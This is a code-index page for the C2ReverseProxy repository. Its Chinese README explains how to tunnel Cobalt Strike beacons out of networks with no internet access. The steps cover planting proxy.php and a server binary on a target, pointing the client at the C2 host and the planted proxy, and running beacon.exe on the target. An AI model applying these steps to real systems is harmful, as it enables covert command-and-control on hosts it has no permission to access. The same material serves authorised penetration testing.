MCPcopy Index your code
hub / github.com/Daybr4ak/C2ReverseProxy

github.com/Daybr4ak/C2ReverseProxy @v1.0

Chat with this repo
repository ↗ · DeepWiki ↗ · release v1.0 ↗ · + Follow
19 symbols 50 edges 3 files 5 documented · 26% updated 3y agov1.0 · 2021-06-18★ 4921 open issues
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

C2ReverseProxy

ReverseProxy C2 - 在不出网的情况下使cs上线

Description

在渗透过程中遇到不出网的环境时,可使用该工具建立反向代理通道,使CobaltStrike生成的beacon可以回弹到CobaltStrike服务器。

Install

git clone https://github.com/Daybr4ak/DReverseProxy.git

Usage

该文件分为3个部分:
1、C2script  
2、C2ReverseClint
3、C2ReverseServer

使用步骤:
1、将C2script目录下的对应文件,如proxy.php 以及C2ReverseServer上传到目标服务器。
2、使用C2ReverseServer建立监听端口:
./C2ReverseServer  (默认为64535)
3、修改C2script目录下对应文件的PORT,与C2ReverseServer监听的端口一致。
4、本地或C2服务器上运行C2ReverseClint工具
./C2ReverseClint -t C2IP:C2ListenerPort -u http://example.com/proxy.php (传送到目标服务器上的proxy.php路径)
5、使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应
6、使用建立的Listner生成可执行文件beacon.exe传至目标服务器运行
7、可以看到CobaltStrike上线。

Bug

一个server端口只支持一个cs上线

Core symbols most depended-on inside this repo

Println
called by 10
C2ReverseServer/DReverseServer.go
write
called by 7
C2ReverseServer/DReverseServer.go
Println2
called by 6
C2ReverseClint/DReverseClint.go
Println
called by 5
C2ReverseClint/DReverseClint.go
Println2
called by 4
C2ReverseServer/DReverseServer.go
GetDate
called by 1
C2ReverseClint/DReverseClint.go
getdata
called by 1
C2ReverseClint/DReverseClint.go
SendDate
called by 1
C2ReverseClint/DReverseClint.go

Shape

Function 19

Languages

Go100%

Modules by API surface

C2ReverseClint/DReverseClint.go11 symbols
C2ReverseServer/DReverseServer.go8 symbols

For agents

$ claude mcp add C2ReverseProxy \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page